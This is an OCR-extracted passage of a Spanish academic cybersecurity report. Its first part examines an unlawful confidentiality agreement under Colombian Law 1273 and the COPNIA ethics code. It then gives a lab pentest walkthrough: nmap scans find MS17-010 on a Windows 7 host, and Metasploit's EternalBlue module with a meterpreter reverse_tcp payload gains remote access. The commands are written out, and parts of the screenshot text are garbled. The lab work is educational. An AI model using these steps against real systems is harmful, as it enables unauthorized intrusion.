actividades criminales dentro de organizacion.

2.2.51 la respuesta es afirmativa y usted encontr6 algun proceso ilegal en el anexo 3 —
Acuerdo: acuerdo, debera mencionar que articulos de la ley 1273 se podrian vulnerar

en dicho acuerdo y especificar porqué vulnera articulos de la ley 1273.
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Vulneraciones a la Ley 1273 de 2009.
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Clausula del Articulo Vulnerado  Descripcion del
Argumento Legal
Acuerdo (Ley 1273) Delito
La clausula fomenta
Obtencion, el encubrimiento de
divulgacion o usono  actividades ilegales,
Primera: Prohibicion | Articulo 269F:

de divulgar procesos

ilegales

Segunda: Definicion
de informacion
confidencial (incluye
datos obtenidos
mediante chuzadas e

interceptacion)

Cuarta: Prohibicion
de denunciar

actividades

Violacion de datos

personales

Articulo 269C:
Interceptacion de

datos informaticos

Articulo 269A:
Acceso abusivo a un

sistema informatico

autorizado de datos
personales con
provecho propio o de

terceros.

Interceptar sin
autorizacion datos
informaticos en su
origen, destino, o
dentro de un sistema

informatico.

Acceder sin
autorizacion a

sistemas informaticos

lo cual incluye la
apropiacion y uso
indebido de datos
personales protegidos
por la ley.

La inclusion de
"chuzadas" e
interceptacion como
informacion
confidencial valida
practicas ilegales que
estan penalizadas por
la ley.

Al prohibir la
denuncia de

actividades



sospechosas (puntos

3y4)

Octava: Eximicion de
responsabilidad legal
para CyberFort

Technologies

Articulo 2691: Hurto
por medios
informaticos y

semejantes

protegidos o
mantenerse en ellos
contra la voluntad del

propietario.

Manipulacién o
suplantacién en
sistemas informaticos
para obtener

beneficios ilicitos.
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sospechosas, la
clausula protege actos
ilicitos como el
acceso abusivo a
sistemas
informaticos.

Esta clausula busca
eximir a la empresa
de responsabilidad
penal, lo cual es
contrario al principio
legal que establece
que los responsables
deben enfrentar las
consecuencias

legales.

Nota. Detalle de las clausulas del acuerdo de confidencialidad de CyberFort Technologies que

vulneran la Ley 1273 de 2009. Fuente Congreso de la Republica de Colombia, 2009.

2.3.;Existiendo procesos poco confiables en el “anexo 3 — Acuerdo”, usted como experto

en ciberseguridad aplicaria a este trabajo en CyberFort Technologies, donde la
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organizacion dispone de un sueldo de $15.000.000 de pesos colombianos mensuales y

contrato vitalicio?

Debe argumentar su respuesta ya sea afirmativa o negativa y tener en cuenta en la

argumentacion que dispone COPNIA en su codigo de ética para ingenieros.

Como especialista en ciberseguridad, mi experticia en seguridad informatica, y después
de una revision exhaustiva del compendio documental suministrado, “Anexo 3 Acuerdo de
Confidencialidad” que la organizacion CyberFort Technologies propone para celebrar el
contrato, mi posicion profesional se declara con firmeza e irrevocablemente en una declinacion
in terminis de la oferta laboral, aun teniendo en cuenta la alta suma de dinero en contraprestacion
mensual que otorga la aceptacion del contrato.

La génesis de esta denegacion no es la “historia por quedar bien”, por asi decirlo, ante las
practicas empresariales de CyberFort Technologies, sino una conviccion instituida en ética 'y
derecho, fundamentada en las estipulaciones detalladas de las poco éticas clausulas del precitado
acuerdo.

Firmar el acuerdo seria expresar de forma directa una transgresion abierta a la praxis de
cualquier ingenieria enfocada en la ciberseguridad e incurrir en practicas ilicitas que
contravienen las leyes colombianas.

La diferencia la hace la incidencia abierta de las clausulas del contrato contra el Codigo
de Etica del COPNIA (Consejo Profesional Nacional de Ingenieria), que esta ahi para garantizar

la integridad y rectitud en la profesion mientras ejercen la Ingenieria en Colombia.
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El “codigo” del COPNIA impone un estandar de comportamiento a los ingenieros
honestos con la consigna del “ipso facto” siempre en publico, la autenticidad absoluta, la
integridad sin fractura, la frente limpia y una responsabilidad social sin cuestionamientos.

Jamas aceptaria un empleo elegido ad hoc vinculado a un pacto preexistente que de forma
expresa oculte la existencia de “procesos ilegales” cometidos en la organizacion, es decir, abusar
arbitrariamente de la posicion dominante del contrato con el fin de vulnerar intereses generales o
particulares de una persona o empresa. El ocultamiento de actividades ilicitas contempladas en el
acuerdo atenta contra la seguridad, el bienestar y la confianza de la sociedad las cuales deben ser
protegidas reciamente por cualquier profesional de ingeniera.

Asimismo, la aceptacion del empleo contempla una vida de silencio frente a las
actividades sospechosas de espionaje o cualquier otro proceso en el que intervenga la utilizacion
de la informacion de otra persona, no solo viola el principio de retérica sino también el de
justicia que cualquier ingeniero debe seguir.

En consecuencia, la integridad, cuyo contenido definido es rectitud moral y coherencia
entre el pensamiento y la accidn, se incumple de plano desde el instante en que se acepte una
posicion que implica la participacion en hechos ilegales por accion u omision.

La ciberseguridad, en esencia, es una disciplina basada en la confianza y la transparencia;

un profesional que encubre los delitos ataca la razon de ser de la existencia de su profesion.

2.4.Debera analizar el caso problema “Ciberespionaje y Etica en CyberFort
Technologies” (Anexo 7 - Escenario 2), redactar su punto de vista teniendo en cuenta
las implicaciones legales y éticas que alli se pudieron generar y dar respuesta los

siguientes interrogantes:
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JHasta qué punto las empresas de ciberseguridad deben tener acceso a informacion sensible
de sus clientes durante una auditoria de seguridad, y como se puede garantizar que este acceso
no sea explotado de manera indebida?

La progresiva dependencia de las organizaciones en servicios de ciberseguridad
fundamenta posturas criticas sobre los limites de la ética y la legalidad de la forma del
tratamiento de la informacion sensible durante los procesos de auditorias.

Segun lo anterior se puede establecer que las empresas de ciberseguridad deberian solo
tener acceso a la informacion sensible de sus clientes en la medida necesaria y estricta del
acuerdo de confidencialidad y limitdndose al objetivo concreto en el que se dirige la auditoria, es
decir, identificar y remediarse vulnerabilidades o amenazas.

Dicho acceso debe estar claramente definido y los limites de autorizacion establecidos
explicitamente en el contrato, denotando qué datos pueden ser revisados; cuanto tiempo estaran
abiertos; y con qué finalidad, para preservar el acceso sin que se explote de manera indebida, lo
establecido anteriormente debe seguir las siguientes medidas:

Principio de privilegios al minimo: Auditores con el minimo acceso requerido para su
trabajo, no existen accesos globales.

Registro histdrico y supervision en tiempo real: Todas las acciones tomadas en términos
de la auditoria deben quedar registradas en logs inmutables, supervisados en tiempo real para
detectar accesos indebidos o usuarios no autorizados.

Contratos o acuerdos de confidencialidad estrictos: Incluir clausulas especificas de
confidencialidad. No se permite el uso o divulgacion de la informacion no autorizada; fijando

sanciones severas para cualquier caso de incumplimiento.
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Eliminar informacion sobrante después de la auditoria: No debe quedar acceso a ninguna
informacion sensible que se haya permitido con el acceso concedido una vez finalizado el trabajo
de auditoria.

Auditorias forenses e independientes: Verificaciones significativas posteriores para
asegurarse de que el auditor no explotd su acceso ni filtro informacion.

El ejemplo de CyberFort Technologies demuestra que presentaban las medidas
anteriores, algunos empleados usaban el acceso para espionaje y venta ilegal de informacion, lo
que violaba la ética profesional y la confiabilidad del cliente, el acceso solo se debe estar
limitando y basado en el entorno de donde y quien, dando proteccidon y supervision para evitar

accesos abusivos y propender la privacidad de la informacion del cliente.

¢ Qué mecanismos de supervision y control deberian implementarse en las empresas de
ciberseguridad para evitar que sus empleados utilicen herramientas avanzadas de andlisis
forense con fines no autorizados o éticamente cuestionables?

Como experto en ciberseguridad, evaluo la situacion de CyberFort Technologies desde
una perspectiva de enfoque mas holistico basado en técnicas y ética de algunos aspectos legales.
El caso muestra una falla sistémica en los controles de inspeccion interna de la empresa, los
cuales les permite a sus empleados a usar herramienta sofisticada con fines no permitidos
directamente con la intencion de obtener y comprometer la confidencialidad y confianza de sus
clientes.

Técnicamente hablando, la incapacidad de controlar el uso de las herramientas de analisis
forense supone una vulnerabilidad crucial. Los sistemas disefiados para investigar los incidentes

de seguridad y recopilar evidencia proveen un poder muy pronunciado a quienes les dan uso.
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Sin una supervision adecuada, resulta peligroso porque pueden ser utilizados
maliciosamente excluyendo las funciones originales de cada herramienta y convertirlas en armas
letales para la extraccion, pérdida y uso indebido de informacién sensible.

Eticamente, el comportamiento de los empleados de CyberFort Technologies se
consolida a partir de un punto extremadamente inmoral y viola la confianza generada por los
clientes en la organizacion, el personal utiliza acceso indebido para recopilar estas evidencias sin
autorizacion y posteriormente venderlo a terceros o a ciberdelincuentes organizados, esto
representa una traicion a sus clientes.

Legalmente, la conducta de los empleados de CyberFort Technologies podrian tener
resultados nefastos. El acceder de forma no autorizada a sistemas comerciales y la recuperacion
de informacion confidencial son ilicitos estipulados actualmente en la legislacion colombiana.

Para asegurarse de que este tipo de comportamientos o incidentes no vuelvan a ocurrir,
las empresas de ciberseguridad deben implantar una serie de controles y supervision, entre ellas:

Control de Acceso Granular: Limitar el acceso a herramientas de analisis forense a solo el
personal especifico, definiendo funciones y compromisos claros a cada funcionario.

Monitorizacion Continua: Implantar sistemas de vigilancia y auditoria que inspeccionen
todas las actividades de las herramientas de anélisis forense incluyendo el conjunto de comandos
ejecutados, datos accedidos y los resultados.

Politicas Claras de Uso: Establecer politicas internas para el uso especifico de las
herramientas forenses, dejando establecido los &mbitos de lo que se pueden y no se puede usar,

con las sanciones disciplinarias explicitas.
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Formacién Etica y Concienciacion: Promover la formacion continua del personal sobre
¢tica profesional, responsabilidad de la informacion utilizada, uso ilicito de las herramientas
forenses y supervision a la toma de decisiones que provocan acciones legales.

Auditorias Internas y Externas: Llevar a cabo auditorias periddicas y minuciosas para
reducir el incumplimiento de las politicas y su efectividad.

En conclusion, el caso CyberFort Technologies pone de manifiesto la necesidad de
implementarse controles internos efectivos y la creacion de circulos éticos dentro de las

compaiiias de ciberseguridad.

cComo deberian responder los gobiernos y organizaciones cuando descubren que una
empresa de ciberseguridad contratada ha cometido actos de ciberespionaje? ;Cudles serian
las medidas adecuadas para restaurar la confianza y asegurar que no ocurra nuevamente?

Los gobiernos y las organizaciones en la actualidad enfrentan un conflicto critico en lo
relacionado a la ética profesional, la confidencialidad de la informacion, y desde un punto de
vista mds analitico diria que enfrentar el reto de seleccionar el personal con la idoneidad
adecuada y que sea integro en su actuar, frente a los procesos de auditoria que lleven a cabo es
mas complejo de lo que parece, por lo tanto, si se descubre que una empresa de ciberseguridad
esta realizado procedimientos de ciberespionaje la respuesta debe ser implacable, deben ser
aplicadas por igual a las empresas a nivel comercial, como a los empleados que ejecuten las
acciones ilicitas, igualmente, se deben articular acciones diplomaticas entre gobiernos para
fortalecer la mitigacion de futuras conductas analogas.

Los gobiernos y las organizaciones afectadas deben iniciar investigaciones penales

exhaustivas de forma inmediata, presentando cargos contra los profesionales, las empresas y sus
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representantes legales, con el fin de acarrear prision, multas y anulacion de licencias y tarjetas
profesionales, de igual manera interponer acciones civiles que apliquen sanciones pecuniarias
con el fin de resarcir el dafio causado, si el caso es que la empresa que realiza el ilicito no esta
domiciliada en el pais buscar la cooperacion diplomatica para poder aplicar las sanciones que

den lugar y sean aplicables en la normativa vigente.
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Capitulo 3. Demostrar Vulnerabilidades en un Sistema Informatico a Partir del Uso de
Metodologias y Técnicas de Intrusion.
Anexo 4 — Escenario 3
Situacion Problema: Andlisis Red Team.

La primera mision del equipo Red Team es lograr identificar porqué medio o proceso se
esta generando una serie de fuga de informacion la cual se presenta al interior de la organizacion
en uno de sus equipos de computo en la dependencia. La informacidn inicial con la que cuenta el
equipo es que la maquina donde se esta generando la fuga de informacion tiene instalada una
aplicacion vulnerable bajo un Windows; esta aplicacion al parecer tiene asociado un exploit que
puede terminar en un acceso a través de Shell, escalacion de privilegios u otro tipo de ataque.
Dentro de la indagacion, también se investiga un escalamiento de privilegios por medio de la
creacion de un usuario tipo administrador del sistema.

El equipo de forense genera una copia del servidor y esta es entregada a usted como
experto, debe validar la posible falla de seguridad y si est4 es explotada debe crear un usuario
con su primer nombre y primer apellido, el usuario debe ser administrador esto con el fin de

demostrar una PoC ante los altos directivos.

3.1.Describa de manera especifica las herramientas software que utilizo para llevar a cabo
el anexo 4 — escenario 3 enfocado a Red Team. Debera adjuntar evidencia de los
comandos utilizados y resultados que arroj6 cada herramienta utilizada, estas

herramientas deben estar clasificadas segun los pasos de un pentesting.



Topologia de Red del Escenario Controlado.
Figura 10

Topologia Anexo 4 — Escenario 3.
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Nota. Captura de pantalla de la Topologia disenada para el desarrollo del Escenario 3, bajo

metodologia de ambiente controlado utilizando la herramienta GNS3.

Fases del Pentesting.
Fase de Reconocimiento.
En esta fase se utiliz6 la herramienta NMAP, realizando la identificacion y

descubrimiento de la red, con el fin de localizar el objetivo a atacar.

,Qué es Nmap?
Es una herramienta de c6digo abierto para la exploracion de redes y la auditoria de

seguridad. Fue disefiada para escanear rapidamente redes grandes, aunque funciona
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correctamente con hosts individuales. Nmap utiliza paquetes IP sin procesar de forma
innovadora para determinar qué hosts estan disponibles en la red, qué servicios (nombre y
version de la aplicacion) ofrecen, qué sistemas operativos (y versiones del SO) ejecutan, qué tipo
de filtros de paquetes/cortafuegos utilizan y muchas otras caracteristicas. Si bien Nmap se utiliza
habitualmente para auditorias de seguridad, muchos administradores de sistemas y redes lo
encuentran util para tareas rutinarias como el inventario de red, la gestion de calendarios de
actualizacion de servicios y la monitorizacion del tiempo de actividad de hosts o servicios.
(Smith et al., 2021)

Con el fin de darle un nivel natural a las pruebas realizadas y como un cazador que
acecha a su presa en la penumbra, se adopt6d un enfoque realista en el Pentesting, concentrdndose
unicamente en el rango de direccionamiento IP donde habita la maquina atacante, armada con
una distribucion de Kali Linux. A diferencia de un andlisis indiscriminado y sin direccion, esta
metodologia, precisa y contenida, permitié que una vez identificado el rango IP, se desplegara el

escaneo con la herramienta NMAP.

Se procede a ejecutar desde la terminal de la maquina atacante el comando ip -a para

verificar el rango ip en el cual se encuentra, dando como resultado la direccion

192.168.33.131/24.
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Figura 11

Identificacion del Rango IP VM Kali Linux.
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> 1: <LOOPBACK,UP, LOWER_UP> mtu 65536 gqdisc noqueue state UNKNOWN group def
FileSyﬁerﬁ ault glen 1000
link/loopback €
inet /8 scope host lo
valid_1ft forever preferred_1lft forever
ineté6 /128 scope host noprefixroute
valid_1ft forever preferred_1ft forever
2:
roup default glen
link/ether 0 of brd ff sE6:f Lt

inet d scope global dynamic noprefixro
ute etho
valid_lft 1618sec preferred_lft 1618sec
inet6 /64 1link noprefixroute
valid_1ft forever preferred_1ft forever

Nota. Captura de pantalla de la ejecucion del comando ip -a en la terminal de la VM Kali Linux,

para identificar el Rango IP en el cual se encuentra.

Una vez identificado el Rango IP, se procedi6 a ejecutar la herramienta NMAP la cual
nos permitird identificar hosts activos, puertos abiertos, versiones de los sistemas operativos,
entre otros, para realizar este descubrimiento ejecutaremos el siguiente comando nmap -O -T4 -v

--osscan-guess --max-retries 3 --min-hostgroup 64 <Rango IP>.
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Explicacion del Comando.
Tabla 3

Explicacion del comando utilizado para el descubrimiento de la red.

Opcion Descripcion

-O | Habilita la deteccion del sistema operativo.
-T4 | Usa una velocidad rapida sin ser extremadamente
agresiva.

-v | Muestra salida detallada (verbose).
--osscan-guess | Fuerza a adivinar el sistema operativo si no es
certero.

--max-retries 3 | Reduce la cantidad de reintentos para agilizar el
proceso.
--min-hostgroup 64 | Aumenta el nimero de hosts escaneados en

paralelo.

Nota. Comando utilizado en la fase de descubrimiento para detectar Host Activos, Direccion IP,

Sistema Operativo probable, Puertos Abiertos, Servicios Desplegados.
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Figura 12

Resultado del Comando para descubrimiento de Red.

O A 87| & &

kali@kali: ~

File Actions Edit View Help
-
| Network Distance: 1 hop

* Nmap scan report for 192.168.33.132
File Host is up (0.0026s latency).
Not shown: 987 closed tcp ports (reset)
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
554/tcp open rtsp
2869/tcp open icslap
5357/tcp open wsdapi
10243/tcp open unknown
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49155/tcp open unknown
49156/tcp open unknown
49157/tcp _open _unknown
Address: 08:00:27 0:C0 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
: _general nurnose
2008|7|vistals.1
indows_server_200 cpe icrosoft:windows_7 cpe:/o:microsoft:windows_vista
indows_8.1
rosoft Windows Vista SP2 or dows 7 or Windows Server 2008 R2 or Windows 8.1
UpLLiie gUess: U.u40 ddys (SiNCe SdL mdy 3 L/.31.40 20Z5)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=255 (Good luck!)
IP ID Sequence Generation: Incremental

Nmap scan report for 192.168.33.254

Host is up (0.0047s latency).

All 1000 scanned ports on 192.168.33.254 in ignored states.
Not shown: 1000 filtered tcp ports (no-response)

MAC Address: 00:50:56:F 3:1D (VMware)

Too many fingerprints match this host to give specific 0S details
Network Distance: 1 hop

Initiating SYN Stealth Scan at 18:38

Scanning 192.168.33.131 [1000 ports]

Completed SYN Stealth Scan at 18:38, 0.02s elapsed (1000 total ports)
Initiating 0S detection (try #1) against 192.168.33.131

Nota. Captura de pantalla donde se evidencia la ejecucion del comando para el descubrimiento e

identificacion del objetivo dentro de la red.

Los puertos descubiertos al escanear pueden parecer inocentes, pero en manos expertas
estan listo para ser explotados. El apaciguamiento ante un sistema al parecer equilibrado, con
estos accesos abiertos convirtiéndose en puertas entreabiertas, con las llaves en manos de un

atacante.
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Los puertos abiertos 135, 139 o0 445 no son nada inocentes. Son llaves maestras del que
maneja el ecosistema Windows, instruyendo a convertir en inevitable lo oculto en raras
habilidades desde Microsoft RPC, NetBIOS y SMB, se almacena lo que le permitiria al atacante
vulnerar con familiaridad.

El caso de MS17-010 lo ilustra con crudeza: Si bien en el aire puede parecer un fantasma
olvidado, tal vulnerabilidad es una fantasia que recorre los pasillos de las PCs olvidadas por
quienes no han cerrado esa vieja herida. Como el castillo sin centinela no cabalgara nadie, es un
sistema sin parches, ;juno que los cerr6 hace 15 afios? puede ser una entrada abierta; un caballo
de Troya Digital.

Tal es el caso de NetBIOS y SMB entonces estos espias silenciosos le facilitan el acceder
a informacion crucial sin autenticarse en campos de actividad: nombres de usuario, dispositivos y
recursos compartidos acceden sin atreverse a hacerlo. El administrador sale a relucir con
comodidad, para el atacante es el mapa de como llegar al tesoro.

Los puertos que fluyen sin nombre (49152-49158) serian como las cortaduras escondidas
de los murales absurdos: ocultar todavia no es suficiente, no por ello se ven menos perjudiciales.
Si no garantizan puertas, entre otras actividades, son subsiguientes a servicios como DCOM o

RPC que abren puertas traseras para el acceso de administradores no autorizados.

Fase de Escaneo de Vulnerabilidades.

Identificado el host objetivo se procede a realizar el escaneo especifico con tal de
recopilar la mayor informacion de las posibles vulnerabilidades que se puedan explotar
posteriormente, por medio de la herramienta NMAP ejecutamos el comando nmap -sS -sV -O -p-

--script vuln,smb-vuln* ssh-auth-methods -vv 192.168.33.132.



Explicacion del Comando.
Tabla 4

Explicacion del Comando para la Deteccion de Vulnerabilidades.

Opcion Significado Funcion / Descripcion
-sS | Escaneo SYN (Stealth Envia paquetes SYN a los
Scan) puertos. No establece

conexion completa
(semiabierto). Mas
sigiloso y menos
detectable por firewalls o
registros.

-sV | Deteccién de versiones Intenta identificar las
versiones exactas de los
servicios encontrados en
los puertos abiertos.

-O | Deteccion del sistema Analiza las respuestas del
operativo host para inferir qué

sistema operativo esta

ejecutando.
-p- | Escaneo de todos los Escanea todos los puertos
puertos (0-65535) TCP, no solo los 1000

mas comunes (que es el

valor por defecto).
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--script vuln,smb-

vuln* ssh-auth-methods

192.168.33.132

Uso de scripts NSE (Nmap

Scripting Engine)

Modo verboso (nivel 2)

Direccion IP del objetivo

Ejecuta scripts de
seguridad especificos:
vuln: Escaneo general de
vulnerabilidades.
smb-vuln*: Todos los
scripts de vulnerabilidad
SMB.

ssh-auth-methods:
autenticacion SSH.
Proporciona salida mas
detallada en tiempo real
durante el escaneo.

Host especifico para
escanear. En este caso,
una maquina dentro de

una red local.

Nota. Tabla con la explicacion detallada del comando utilizado con la herramienta NMAP de

Kali Linux en la deteccion de vulnerabilidades en la maquina de Windows 7.
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Figura 13

Resultado del Escaneo de Vulnerabilidades.

W
kali@kali: ~

File Actions Edit View Help

Device type: general purpose
Running: Microsoft Windows 2008|7|vistal8.1
0S CPE: cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_vista cpe:/o
:microsoft ndows_8.1
0S details: Microsoft Windows Vista SP2 or Windows 7 or Windows Server 2008 R2 or Windows 8.1
TCP/IP fingerprint:
:SCAN(V=7.95] %D=5/3%0T=135%CT=1%CU=34498%PV=Y%DS=1%DC=D%G=Y%¥M=080027%T
816B0OC9% 86_64-pc-Linux-gnu)SEQ(SP=103%GC HBISR=108%¥TI=IXCI=I¥II=-1
1%SS=S%TS=7 )OPS(01=M5B4NW8ST11%02=M5B4NW8ST11%0 S5B4NWBNNT11%04=M5B4NW8S
:T11%05=M5B4NW8BST11%06= HSBbSTllWWIN(W1‘ 000%W2=2000%W3=2000%W4=2000%W5=20
1 00%W 000 )ECN(R )T1( %DF=Y%T=8
‘0%5 Om :S+m = S%RD % %W =0 R%0=%RD=0%f
%F = ARoO—mR
BT=80%W=0%
Q%W=0%S 60=% L uDF Y%T=80%W=0%:
0%Q=)U1(R=Y%D 3 64%UN= OoRIPL G%RID=G%RIPC RUCK=G¥%RUD=G ) IE
:(R=Y%DFI=N%T=80%CD=Z)

Uptime guess: 0.111 days (since Sat May 3 17:31:40 2025)

Network Distance: 1 hop

TCP Sequence Prediction: Difficulty=259 (Good luck!)

IP ID Sequence Generation: Incremental

Service Info: Host: PC202006; 0S: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
_smb-vuln-ms10-054: false
_smb-vuln-ms10-061: NT_STATUS_ACCESS_DENIED
smb-vuln-ms17-010:
VULNERABLE:
Remote Code Execution vulnerability in Microsoft SMBvl servers (ms17-010)
State: VULNERAB
IDs: CVE:CVE-2017-0143
Risk factor: HIGH

servers (ms17-010).

Disclosure date: 2017-03-14
References:
https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
_samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED

|
|
|
|
|
|
|
|
| A critical remote code execution vulnerability exists in Microsoft SMBv1
|
|
|
|
|
|
I_
|

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 20:11
Completed NSE at 20:11, 0.00s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 20:11
Completed NSE at 20:11, 0.00s elapsed
Read data files from: /usr/share/nmap
0S and Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 471.33 seconds
Raw packets sent: 66152 (2.911MB) | Rcvd: 65553 (2.623MB)

Nota. Evidencia grafica que documenta los hallazgos del escaneo de vulnerabilidades ejecutado

en el host analizado.
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A continuacion, se exponen detalles relevantes revelados por la herramienta NMAP luego

del escaneo.
Tabla 5

Reporte Detallado de Hallazgos de Vulnerabilidades.

Categoria Detalle

IP del Host | 192.168.33.132
MAC Address | 08:00:27:92:80:CO0 (Oracle VirtualBox virtual NIC)
Sistema | Microsoft Windows 7 (posible: Vista SP2, Server 2008 R2,
Operativo | Windows 8.1)
Workgroup | WORKGROUP
Distancia de red | 1 salto (misma red local)
Puertos abiertos | Puerto
135/tcp
139/tep
445/tcp
554/tecp
2869/tcp
5357 /tcp
10243/tcp
49152/tcp
49153 /tcp
49154/tcp

49155/tcp
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49156/tcp

49157 /tcp

Vulnerabilidades A MS17-010 (EternalBlue): VULNERABLE (CVE-2017-
0143, ejecucion remota de codigo en SMBvI, riesgo
critico)

MS10-054: No vulnerable

MS10-061: Acceso denegado

CVE-2012-1182 (Samba): Acceso denegado

Servicios Web | Microsoft HTTPAPI httpd 2.0 en puertos 2869, 5357,
10243

Scripts ejecutados: XSS, CSRF, JSONP, WordPress,
descarga de codigo fuente, etc.

Resultado: No se encontraron vulnerabilidades web
relevantes (no XSS, no CSRF, no WordPress, no endpoints

JSONP, no descargas de codigo fuente)

Nota. Explicacion detallada del resultado del escaneo, los servicios y las vulnerabilidades

detectados en el host Windows 7 escaneado.

Detalle de CVE-2017-0143

El servidor SMBv1 en Microsoft Windows Vista SP2; Windows Server 2008 SP2 y R2
SP1; Windows 7 SP1; Windows 8.1; Windows Server 2012 Gold y R2; Windows RT 8.1;
Windows 10 Gold, 1511 y 1607; y Windows Server 2016 permite a atacantes remotos ejecutar

codigo arbitrario mediante paquetes manipulados, lo que se conoce como "vulnerabilidad de
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ejecucion remota de codigo SMB en Windows". Esta vulnerabilidad es diferente de las descritas

en CVE-2017-0144, CVE-2017-0145, CVE-2017-0146 y CVE-2017-0148. (CVE. 2017).

Fase de Explotacion
En esta fase se utiliz6 la herramienta Metasploit Framework, poniendo a prueba la
vulnerabilidad encontrada y lograr determinar si suponen una amenaza real y son explotables.
Antes de iniciar un ataque debemos verificar si el exploit existe, esto lo hacemos con el
comando search eternalblue.
Figura 14

Verificacion de la existencia del Exploit EternalBlue.

Shell No. 1

Rank Description

average vYes MS17-010 EXEENSLBLUE sme

MS17-010 EternalRomance/E

MS17-010 EternalRomance/E

MS17-010 SMB RCE Detectio

SMB DOUBLEPULSAR Remote C

s interacting with a y a TARGET with

msfe > Wl

Nota. Evidencia grafica que documenta la ejecucion del comando para la verificacion de la

existencia del exploit.
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Luego de comprobar la existencia del exploit y de saber que su identificador es el cero
“0” utilizamos el comando use 0 para cargar el exploit.
Figura 15

Seleccion del Exploit a Utilizar.

Shell No. 1

File Actions Edit View Help

+ — —=[ 1610 payloads - 49 encoders - 13 nops
+ — —=[ 9 evasion

a Metasploit Documentation: https://docs.metasploit.com/

msfé > search eternalblue

Matching Modules

#  Name Disclosure Date Rank Check Description
0 exploit/windows/smb/ms17_010_gtern 2017-03-14 average Yes MS17-010 EternalBlue smB
Remote Windows Kernel Pool Corruption
1 target: Automatic Target
target: Windows 7
target: Windows Embedded Standard 7
target: Windows Server 2008 R2
target: Windows 8
target: Windows 8.1
target: Windows Server 2012
target: Windows 10 Pro
9 target: Windows 10 Enterprise Evaluation . . .
10 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal MS17-010 EternalRomance/E
ternalSynergy/EternalChampion SMB Remote Windows Code Execution
11 _ target: Automatic
target: PowerShell
target: Native upload
target: MOF upload
AKA: ETERNALSYNERGY
AKA: ETERNALROMANCE
AKA: ETERNALCHAMPION
_ AKA: ETERNALBLUE 2 . . 2
auxiliary/admin/smb/ms17_010_command 2017-03-14 normal No MS17-010 EternalRomance/E
ternalSynergy/EternalChampion SMB Remote Windows Command Execution
\_ AKA: ETERNALSYNERGY
\_ AKA: ETERNALROMANCE
\_ AKA: ETERNALCHAMPION
\_ AKA: ETERNALBLUE x 5 ; ]
auxiliary/scanner/smb/smb_ms17_010 : normal MS17-010 SMB RCE Detectio

\_ AKA: DOUBLEPULSAR
26 \_ AKA: ETERNAUBUUE . . . .
27 exploit/windows/smb/smb_doublepulsar_rce 2017-04-14 Yes SMB DOUBLEPULSAR Remote C
ode Execution
\_ target: Execute payload (x64)
\_ target: Neutralize implant

Interact with a module by name or index. For example info 29,
After interacting with a module you can manually set a TARGET with
msf6 > use 0

No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit( ) >

Nota. Registro visual de la seleccion del Exploit a ejecutar para aprovechar la vulnerabilidad de

la maquina Windows 7.
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Realizado lo anterior, verificamos las opciones del Exploit seleccionado con el comando
show options.
Figura 16

Verificacion de Opciones de Configuracion del Exploit.

No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit( ) > show options

Module options (exploit/windows/smb/ms17_010_eternalblue):

Name Current Setting Required Description

RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-me
tasploit/basics/using-metasploit.html

RPORT The target port (TCP)

SMBDomain (Optional) The Windows domain to use for authentication. Only aff
ects Windows Server 2008 R2, Windows 7, Windows Embedded Standard
7 target machines.

SMBPass (Optional) The password for the specified username

SMBUser (Optional) The username to authenticate as

VERIFY_ARCH true Check if remote architecture matches exploit Target. Only affects
Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 t
arget machines.

VERIFY_TARGET Check if remote 0S matches exploit Target. Only affects Windows S
erver 2008 R2, Windows 7, Windows Embedded Standard 7 target mach
ines.

| Payload options (windows/x64/meterpreter/reverse_tcp):

Name Current Setting Required Description

EXITFUNC thread yes Exit technique (Accepted: '*, seh, thread, process, none)
LHOST 192.168.33.131 yes The listen address (an interface may be specified)
LPORT IVANA yes The listen port

Exploit target:
Id Name

@ Automatic Target

View the full module info with the f r fo command.

msf6 exploit( S |

Nota. Evidencia grafica de la configuracion detallada del moédulo de explotacion

windows/smb/ms17 010 eternalblue dentro del entorno Metasploit Framework.

La configuracion la ajustamos segin nuestro objetivo para ejecutar un ataque de tipo
Remote Code Execution (RCE), lo que se debe hacer es asignar la ip de la maquina objetivo en

el apartado RHOSTS mediante el comando set RHOST 192.168.33.132
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Figura 17

Asignacion de IP Objetivo.

ploit/windows
Setti
RHOSTS 2.16 .13 ) € 0 t( see 54 Cs. loit. ocs/using-me
RPORT

SMBDomain ( ) in to us e tion. Onl
i G Windows 7, Windows Embedded S

VERIFY_ARCH

VERIFY_TARGET true

oad options (windows

EXITFUNC 1 3 5 read, process, none)
LHOST : 3 ) i pecif )
LPORT

Exploit
Id N

@ Automatic T

command.

Nota. Captura de pantalla donde se evidencia la asignacion de la direccion IP de la maquina

objetivo.

En este momento tenemos completamente configurado el exploit para poder atacar la
maquina Windows 7, solo queda ejecutar un el comando run y esperar a que nos de control de

remoto de la maquina victima.
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Figura 18

Ejecucion Comando run.

as check
- Windo sional 76081 :

/ SMB

Windows 7 Profes
sional 7601 Serv
i 1

PRERERRPRPREREEREREPM

[

Nota. Captura de pantalla donde se evidencia la ejecucion del comando run y se lanza el ataque,

el cual nos permite tener acceso a la maquina objetivo.

Con el fin de evidenciar el control de la maquina ejecutamos el comando dir con el fin de
listar los archivos que se encuentran en el objetivo.
Figura 19

Ejecucion Comando dir.

Shell No. 1
File Actions Edit View Help

meterpreter > dir
Listing \Windows\system32

Mode Last modified Name

